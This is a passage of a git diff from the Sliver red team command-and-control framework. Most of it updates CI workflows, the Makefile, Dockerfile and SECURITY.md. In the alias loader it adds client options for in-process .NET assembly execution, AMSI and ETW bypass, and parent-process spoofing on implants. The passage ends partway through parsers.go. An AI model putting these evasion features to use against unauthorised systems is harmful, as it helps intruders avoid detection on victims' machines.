Early return

Fix implant exit code for sessions.

.github/CODEOWNERS

@@ -0,0 +1 @@
+* @BishopFox/red-team

.github/codeql/codeql-config.yml

@@ -5,4 +5,4 @@ queries:
     uses: security-extended
     paths:
       - server
-      - implant
+      - client

.github/dependabot.yml

@@ -0,0 +1,16 @@
+# Basic set up for three package managers
+
+version: 2
+updates:
+
+  # Maintain dependencies for GitHub Actions
+  - package-ecosystem: "github-actions"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+
+  # Maintain dependencies for go
+  - package-ecosystem: "gomod"
+    directory: "/"
+    schedule:
+      interval: "weekly"

.github/workflows/autorelease.yml

@@ -3,60 +3,58 @@ name: Release
 on:
   push:
     tags: ["v[1-9]+.[0-9]+.[0-9]+"]
-    branches: [master, goreleaser]
+    branches: ["master", "v1.5.x/master"]
 
 jobs:
-
   linux-windows-build:
     name: Linux & Windows Build
     if: startsWith( github.ref, 'refs/tags/v')
     runs-on: ubuntu-latest
     timeout-minutes: 45
     steps:
+      - name: Go 1.20
+        uses: actions/setup-go@v4
+        with:
+          go-version: "^1.20"
 
-    - name: Go 1.18
-      uses: actions/setup-go@v2
-      with:
-        go-version: '^1.18'
-    
-    - name: OS Packages 
-      run: |
-        sudo apt-get update --fix-missing && sudo apt-get -y install \
-        git build-essential zlib1g zlib1g-dev wget zip unzip \
-        mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
+      - name: OS Packages
+        run: |
+          sudo apt-get update --fix-missing && sudo apt-get -y install \
+          git build-essential zlib1g zlib1g-dev wget zip unzip \
+          mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
 
-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v2
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3
 
-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f
 
-    - name: Go Assets
-      run: ./go-assets.sh
+      - name: Go Assets
+        run: ./go-assets.sh
 
-    - name: Make
-      env:
-        ARTIFACT_SUFFIX: _linux
-      run: export PATH=/home/runner/go/bin/:$PATH && make linux
-  
-    - name: Linux Artifacts
-      uses: actions/upload-artifact@v2
-      with:
-        name: linux
-        path: ./sliver-*
+      - name: Make
+        env:
+          ARTIFACT_SUFFIX: _linux
+        run: export PATH=/home/runner/go/bin/:$PATH && make linux
 
-    - name: Make Windows
-      env: 
-        ARTIFACT_SUFFIX: _windows
-      run: |
-        make clean
-        export PATH=/home/runner/go/bin/:$PATH && make windows
+      - name: Linux Artifacts
+        uses: actions/upload-artifact@v3
+        with:
+          name: linux
+          path: ./sliver-*
 
-    - name: Windows Artifacts
-      uses: actions/upload-artifact@v2
-      with:
-        name: windows
-        path:  ./sliver-*
+      - name: Make Windows
+        env:
+          ARTIFACT_SUFFIX: _windows
+        run: |
+          make clean
+          export PATH=/home/runner/go/bin/:$PATH && make windows
+
+      - name: Windows Artifacts
+        uses: actions/upload-artifact@v3
+        with:
+          name: windows
+          path: ./sliver-*
 
   macos-build:
     name: MacOS Build
@@ -64,42 +62,40 @@ jobs:
     runs-on: macos-latest
     timeout-minutes: 45
     steps:
+      - name: Go 1.20
+        uses: actions/setup-go@v4
+        with:
+          go-version: "^1.20"
 
-    - name: Go 1.18
-      uses: actions/setup-go@v2
-      with:
-        go-version: '^1.18'
+      - name: Mingw
+        run: brew install mingw-w64
 
-    - name: Mingw
-      run: brew install mingw-w64
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3
 
-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v2
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f
 
-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
+      - name: Go Assets
+        run: ./go-assets.sh
 
-    - name: Go Assets
-      run: ./go-assets.sh
+      - name: Make AMD64
+        env:
+          ARTIFACT_SUFFIX: _macos
+        run: make macos
 
-    - name: Make AMD64
-      env: 
-        ARTIFACT_SUFFIX: _macos
-      run: make macos
+      - name: Make ARM64
+        env:
+          ARTIFACT_SUFFIX: _macos-arm64
+        run: make macos-arm64
 
-    - name: Make ARM64
-      env: 
-        ARTIFACT_SUFFIX: _macos-arm64
-      run: make macos-arm64
-
-    - name: MacOS Artifacts
-      uses: actions/upload-artifact@v2
-      with:
-        name: macos
-        path: ./sliver-*
+      - name: MacOS Artifacts
+        uses: actions/upload-artifact@v3
+        with:
+          name: macos
+          path: ./sliver-*
 
   tagged-release:
-
     needs: [linux-windows-build, macos-build]
 
     name: "Tagged Release"
@@ -108,53 +104,50 @@ jobs:
     timeout-minutes: 45
 
     steps:
-  
-    - run: mkdir -p ./builds
-    - uses: actions/download-artifact@v2
-      with:
-        path: ./builds
+      - run: mkdir -p ./builds
+      - uses: actions/download-artifact@v3
+        with:
+          path: ./builds
 
-    - name: Extract Artifacts
-      run: |
-        mkdir -p ./artifacts
-        cp ./builds/linux/* ./artifacts
-        cp ./builds/windows/* ./artifacts
-        cp ./builds/macos/* ./artifacts
+      - name: Extract Artifacts
+        run: |
+          mkdir -p ./artifacts
+          cp ./builds/linux/* ./artifacts
+          cp ./builds/windows/* ./artifacts
+          cp ./builds/macos/* ./artifacts
 
-    - id: install-secret-key
-      name: GPG Key(s)
-      run: |
-        cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
-        gpg --list-secret-keys --keyid-format LONG
+      - id: install-secret-key
+        name: GPG Key(s)
+        run: |
+          cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
+          gpg --list-secret-keys --keyid-format LONG
 
-    # Linux
-    - name: Linux AMD64
-      run: |
-        gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
-        gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
-    
-    # Windows
-    - name: Windows AMD64
-      run: |
-        gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
-        gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
+      # Linux
+      - name: Linux AMD64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
 
-    # MacOS AMD64
-    - name: MacOS AMD64
-      run: |
-        gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
-        gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
-  
-    # MacOS ARM64
-    - name: Package MacOS ARM64
-      run: |
-        gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
-        gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
-  
-    - name: "Publish Release"
-      uses: "marvinpinto/action-automatic-releases@latest"
-      with:
-        repo_token: "${{ secrets.GITHUB_TOKEN }}"
-        prerelease: true
-        files: |
-          ./artifacts/*
+      # Windows
+      - name: Windows AMD64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
+
+      # MacOS AMD64
+      - name: MacOS AMD64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
+
+      # MacOS ARM64
+      - name: Package MacOS ARM64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
+
+      - name: "Publish Release"
+        uses: "bishopfox/action-gh-release@v1"
+        with:
+          files: |
+            ./artifacts/*

.github/workflows/codeql-scanning.yml

@@ -4,26 +4,25 @@ on:
   push:
     branches:
       - test/*
-  # pull_request:
-  #   branches:
-  #     - master
+  pull_request:
+    branches:
+      - master
 
 jobs:
   CodeQL-Build:
     name: CodeQL Security Scan
-    # CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
     runs-on: ubuntu-latest
-    timeout-minutes: 45
+    timeout-minutes: 90
 
     steps:
       # Setup go environment
-      - name: Go 1.18
-        uses: actions/setup-go@v2
+      - name: Go 1.20
+        uses: actions/setup-go@v4
         with:
-          go-version: "^1.18"
+          go-version: "^1.20"
 
       - name: Checkout repository
-        uses: actions/checkout@v2
+        uses: actions/checkout@v3
         with:
           # Must fetch at least the immediate parents so that if this is
           # a pull request then we can checkout the head of the pull request.
@@ -37,32 +36,15 @@ jobs:
           git build-essential zlib1g zlib1g-dev wget zip unzip \
           mingw-w64 binutils-mingw-w64 g++-mingw-w64
 
-      - name: Protoc
-        env:
-          PROTOC_VER: 3.11.4
-        run: |
-          wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
-          && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
-          && sudo cp -vv ./bin/protoc /usr/local/bin/protoc
-
-      - name: Protoc-gen-go
-        env:
-          PROTOC_GEN_GO_VER: 1.3.5
-        run: |
-          wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
-          && tar xvf protoc-gen-go.tar.gz \
-          && cd protobuf-${PROTOC_GEN_GO_VER} \
-          && make install
-
       - name: Check out code into the Go module directory
-        uses: actions/checkout@v2
+        uses: actions/checkout@v3
 
       - name: Go Assets
         run: ./go-assets.sh
 
       # Initializes the CodeQL tools for scanning.
       - name: Initialize CodeQL
-        uses: github/codeql-action/init@v1
+        uses: github/codeql-action/init@v2
         with:
           config-file: ./.github/codeql/codeql-config.yml
           languages: go
@@ -72,6 +54,6 @@ jobs:
           make
 
       - name: Perform CodeQL Analysis
-        uses: github/codeql-action/analyze@v1
+        uses: github/codeql-action/analyze@v2
         env:
           VERSION: ${{github.sha}}

.github/workflows/go.yml

@@ -1,8 +1,5 @@
 name: Build & Test
 on:
-  push:
-    branches: 
-      - test/*
   pull_request:
     branches:
       - master
@@ -13,70 +10,67 @@ on:
       - ready_for_review
 
 jobs:
-
   linux-windows-build:
     name: Linux & Windows Build
     runs-on: ubuntu-latest
     timeout-minutes: 90
     steps:
+      - name: Go 1.20
+        uses: actions/setup-go@v4
+        with:
+          go-version: "1.20.2"
 
-    - name: Go 1.18
-      uses: actions/setup-go@v2
-      with:
-        go-version: '^1.18'
-    
-    - name: OS Packages 
-      run: |
-        sudo apt-get update --fix-missing && sudo apt-get -y install \
-        git build-essential zlib1g zlib1g-dev wget zip unzip \
-        mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
+      - name: OS Packages
+        run: |
+          sudo apt-get update --fix-missing && sudo apt-get -y install \
+          git build-essential zlib1g zlib1g-dev wget zip unzip \
+          mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
 
-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v2
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3
 
-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f
 
-    - name: Go Assets
-      run: ./go-assets.sh
+      - name: Go Assets
+        run: ./go-assets.sh
 
-    - name: Make
-      run: make linux
+      - name: Make
+        run: make linux
 
-    - name: Test
-      run: ./sliver-server unpack --force && ./go-tests.sh
+      - name: Test
+        run: ./sliver-server unpack --force && ./go-tests.sh
+
+      - name: Make Windows
+        run: make windows
 
-    - name: Make Windows
-      run: make windows
-  
   macos-build:
     name: MacOS Build
     runs-on: macos-latest
     timeout-minutes: 90
     steps:
+      - name: Go 1.20
+        uses: actions/setup-go@v4
+        with:
+          go-version: "1.20.2"
 
-    - name: Go 1.18
-      uses: actions/setup-go@v2
-      with:
-        go-version: '^1.18'
+      - name: Mingw
+        run: brew install mingw-w64
 
-    - name: Mingw
-      run: brew install mingw-w64
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3
 
-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v2
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f
 
-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
+      - name: Go Assets
+        run: ./go-assets.sh
 
-    - name: Go Assets
-      run: ./go-assets.sh
+      - name: Make
+        run: make macos
 
-    - name: Make
-      run: make macos
-
-    - name: Test
-      env:
-        SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
-        SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
-      run: ./sliver-server unpack --force && ./go-tests.sh
+      - name: Test
+        env:
+          SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
+          SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
+        run: ./sliver-server unpack --force && ./go-tests.sh

.gitignore

@@ -42,3 +42,6 @@ sliver-server-windows.zip
 .DS_Store
 
 dist/
+
+# Flag to show that go-assets.sh has been run
+.downloaded_assets

Dockerfile

@@ -1,4 +1,4 @@
-FROM golang:1.18.4
+FROM golang:1.20.4
 
 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,7 +6,7 @@ FROM golang:1.18.4
 #            a Docker deployment this is probably a good place to start.
 #
 
-ENV PROTOC_VER 3.19.4
+ENV PROTOC_VER 21.12
 ENV PROTOC_GEN_GO_VER v1.27.1
 ENV GRPC_GO v1.2.0
 
@@ -52,11 +52,8 @@ RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER}
 
 # Go assets
 WORKDIR /go/src/github.com/bishopfox/sliver
-ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
-RUN ./go-assets.sh
-
-# Compile sliver server
 ADD . /go/src/github.com/bishopfox/sliver/
+RUN make clean-all
 RUN make \
     && cp -vv sliver-server /opt/sliver-server \
     && /opt/sliver-server unpack --force 

Makefile

@@ -5,7 +5,7 @@
 GO ?= go
 ARTIFACT_SUFFIX ?= 
 ENV =
-TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
+TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
 
 
 #
@@ -47,6 +47,15 @@ LDFLAGS = -ldflags "-s -w \
 	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
 	-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
 
+# Debug builds can't be stripped (-s -w flags)
+LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
+	-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
+	-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
+	-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
+	-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
+	-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
+	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
+	-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
 
 SED_INPLACE := sed -i
 STATIC_TARGET := linux
@@ -99,36 +108,42 @@ ifeq ($(MAKECMDGOALS), linux)
 		-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
 endif
 
+ifeq ($(MAKECMDGOALS), linux-arm64)
+	# Redefine TAGS/ENV to use pure go sqlite3
+	TAGS = -tags osusergo,netgo,gosqlite
+	ENV = CGO_ENABLED=0
+endif
+
 #
 # Targets
 #
 .PHONY: default
-default: clean validate-go-version
+default: clean .downloaded_assets validate-go-version
 	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
 	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: macos
-macos: clean validate-go-version
+macos: clean .downloaded_assets validate-go-version
 	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
 	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: macos-arm64
-macos-arm64: clean validate-go-version
+macos-arm64: clean .downloaded_assets validate-go-version
 	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
 	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: linux
-linux: clean validate-go-version
+linux: clean .downloaded_assets validate-go-version
 	GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
 	GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: linux-arm64
-linux-arm64: clean validate-go-version
+linux-arm64: clean .downloaded_assets validate-go-version
 	GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
 	GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: windows
-windows: clean validate-go-version
+windows: clean .downloaded_assets validate-go-version
 	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
 	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
 
@@ -140,6 +155,11 @@ pb:
 	protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
 	protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative 
 
+.PHONY: debug
+debug: clean
+	$(ENV) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	$(ENV) $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+
 validate-go-version:
 	@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
 		exit 0 ;\
@@ -158,7 +178,12 @@ clean-all: clean
 	rm -rf ./server/assets/fs/windows/amd64
 	rm -rf ./server/assets/fs/linux/amd64
 	rm -f ./server/assets/fs/*.zip
+	rm -f ./.downloaded_assets
 
 .PHONY: clean
 clean:
 	rm -f sliver-client sliver-server sliver-*.exe
+
+.downloaded_assets:
+	./go-assets.sh
+	touch ./.downloaded_assets

README.md

@@ -5,7 +5,7 @@ Sliver is an open source cross-platform adversary emulation/red team framework,
 
 The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
 
-![Go](https://github.com/BishopFox/sliver/workflows/Go/badge.svg?branch=master) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
+[![Release](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
 
 ### Features
 

SECURITY.md

@@ -15,4 +15,4 @@ Anything in the `master` branch, without an open ticket.
 
 ### Reporting a Vulnerability
 
-Please report high and/or critical vulnerabilities via email `jdemesy<[a]>bishopfox.com`, if no response within 14 days, file a ticket with a `security` tag. Medium to Low risk vulnerabilities can simply be filed as a normal bug/issue with the `security` tag.
+Please report high and/or critical vulnerabilities via GitHub's private [report a vulnerability feature](https://github.com/BishopFox/sliver/security/advisories).

client/command/alias/load.go

@@ -22,12 +22,12 @@ import (
 	"context"
 	"encoding/json"
 	"fmt"
-	"io/ioutil"
 	"os"
 	"path"
 	"path/filepath"
 	"strings"
 
+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/command/help"
 	"github.com/bishopfox/sliver/client/console"
@@ -141,7 +141,7 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
 	}
 
 	// parse it
-	data, err := ioutil.ReadFile(manifestPath)
+	data, err := os.ReadFile(manifestPath)
 	if err != nil {
 		return nil, err
 	}
@@ -177,8 +177,15 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
 				f.String("c", "class", "", "Optional class name (required for .NET DLL)")
 				f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
 				f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
+				f.Bool("i", "in-process", false, "Run in the current sliver process")
+				f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
+				f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
+				f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
+
 			}
 			f.String("p", "process", "", "Path to process to host the shared object")
+			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
+			f.Uint("P", "ppid", 0, "parent process ID to use when creating the hosting process (Windows only)")
 			f.Bool("s", "save", false, "Save output to disk")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -272,6 +279,39 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	extArgs = strings.TrimSpace(extArgs)
 	entryPoint := aliasManifest.Entrypoint
+	processArgsStr := ctx.Flags.String("process-arguments")
+	// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
+	// The Donut loader has a hard limit of 256 characters for the command line arguments, so
+	// we're alerting the user that the arguments will be truncated.
+	if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
+		msgStr := ""
+		// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
+		// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
+		// if the flag is not registered.
+		if aliasManifest.IsAssembly {
+			inProcess := ctx.Flags.Bool("in-process")
+			runtime := ctx.Flags.String("runtime")
+			amsiBypass := ctx.Flags.Bool("amsi-bypass")
+			etwBypass := ctx.Flags.Bool("etw-bypass")
+			if !inProcess {
+				msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n"
+			}
+			if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
+				con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
+				return
+			}
+		} else if !aliasManifest.IsReflective {
+			msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for non-reflective PE payloads.\n"
+		}
+		con.PrintWarnf(msgStr)
+		confirm := false
+		prompt := &survey.Confirm{Message: "Do you want to continue?"}
+		survey.AskOne(prompt, &confirm, nil)
+		if !confirm {
+			return
+		}
+	}
+	processArgs := strings.Split(processArgsStr, " ")
 	processName := ctx.Flags.String("process")
 	if processName == "" {
 		processName, err = aliasManifest.getDefaultProcess(goos)
@@ -284,7 +324,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
 		isDLL = true
 	}
-	binData, err := ioutil.ReadFile(binPath)
+	binData, err := os.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -292,7 +332,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	var outFilePath *os.File
 	if ctx.Flags.Bool("save") {
 		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
-		outFilePath, err = ioutil.TempFile("", outFile)
+		outFilePath, err = os.CreateTemp("", outFile)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -306,15 +346,21 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
 		con.SpinUntil(msg, ctrl)
 		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-			Request:   con.ActiveTarget.Request(ctx),
-			IsDLL:     isDLL,
-			Process:   processName,
-			Arguments: extArgs,
-			Assembly:  binData,
-			Arch:      ctx.Flags.String("arch"),
-			Method:    ctx.Flags.String("method"),
-			ClassName: ctx.Flags.String("class"),
-			AppDomain: ctx.Flags.String("app-domain"),
+			Request:     con.ActiveTarget.Request(ctx),
+			IsDLL:       isDLL,
+			Process:     processName,
+			Arguments:   extArgs,
+			Assembly:    binData,
+			Arch:        ctx.Flags.String("arch"),
+			Method:      ctx.Flags.String("method"),
+			ClassName:   ctx.Flags.String("class"),
+			AppDomain:   ctx.Flags.String("app-domain"),
+			ProcessArgs: processArgs,
+			PPid:        uint32(ctx.Flags.Uint("ppid")),
+			InProcess:   ctx.Flags.Bool("in-process"),
+			Runtime:     ctx.Flags.String("runtime"),
+			AmsiBypass:  ctx.Flags.Bool("amsi-bypass"),
+			EtwBypass:   ctx.Flags.Bool("etw-bypass"),
 		})
 		ctrl <- true
 		<-ctrl
@@ -350,6 +396,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			ProcessName: processName,
 			EntryPoint:  aliasManifest.Entrypoint,
 			Kill:        true,
+			ProcessArgs: processArgs,
+			PPid:        uint32(ctx.Flags.Uint("ppid")),
 		})
 		ctrl <- true
 		<-ctrl
@@ -386,6 +434,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			ProcessName: processName,
 			Kill:        true,
 			IsDLL:       isDLL,
+			ProcessArgs: processArgs,
+			PPid:        uint32(ctx.Flags.Uint("ppid")),
 		})
 		ctrl <- true
 		<-ctrl

client/command/armory/armory.go

@@ -484,7 +484,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig
 
 	var sig *minisign.Signature
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
-		sig, _, err = pkgParser(armoryPkg, true, clientConfig)
+		sig, _, err = pkgParser(armoryConfig, armoryPkg, true, clientConfig)
 	} else {
 		sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
 	}

client/command/armory/install.go

@@ -143,7 +143,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
 	var sig *minisign.Signature
 	var tarGz []byte
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
-		sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
+		sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
 	} else {
 		sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
 	}
@@ -261,7 +261,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
 	var sig *minisign.Signature
 	var tarGz []byte
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
-		sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
+		sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
 	} else {
 		sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
 	}

client/command/armory/parsers.go

@@ -40,7 +40,7 @@ import (
 type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
 
 // ArmoryPackageParser - Generic interface to fetch armory package manifests
-type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
